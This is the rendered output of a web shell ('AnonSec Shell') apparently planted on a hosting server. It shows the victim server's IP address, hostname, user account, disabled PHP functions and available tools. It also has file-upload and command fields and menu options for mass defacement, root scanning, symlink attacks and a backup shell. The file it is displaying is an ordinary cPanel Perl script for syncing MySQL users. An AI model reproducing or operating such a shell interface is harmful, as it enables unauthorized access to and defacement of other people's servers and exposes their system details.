AnonSec Shell
Server IP : 221.132.30.236  /  Your IP : 216.73.216.91   [ Reverse IP ]
Web Server : Apache
System : Linux web3.trangwebvang.net 2.6.32-954.3.5.lve1.4.86.el6.x86_64 #1 SMP Tue Aug 31 17:08:39 UTC 2021 x86_64
User : cherishhotel ( 944)
PHP Version : 5.6.40
Disable Function : exec, system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice, proc_terminate, proc_get_status, proc_close, pfsockopen, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid,dl,symlink
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /scripts/sync-mysql-users-from-grants
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/sync-mysql-users-from-grants    Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::sync_mysql_users_from_grants;

use strict;
use warnings;

=encoding utf-8

=head1 NAME

sync_mysql_users_from_grants

=head1 USAGE

    sync_mysql_users_from_grants [ --help ]

=head1 DESCRIPTION

Ordinarily the system creates a DB user in MySQL/MariaDB for each cPanel user
account. If MySQL/MariaDB is disabled, however, when the account is created,
and that service is later reenabled, it is necessary to create the DB users
that the system would have created had such been possible at account creation
time.

This script fulfills that purpose.

=cut

use parent qw( Cpanel::HelpfulScript );

use Cpanel::Mysql::SyncUsers ();

use constant _OPTIONS => ();

__PACKAGE__->new(@ARGV)->run() if !caller;

sub run {
    my ($self) = @_;

    Cpanel::Mysql::SyncUsers::sync_grant_files_to_db(
        output => \*STDOUT,
    );

    return;
}

1;

Anon7 - 2022
AnonSec Team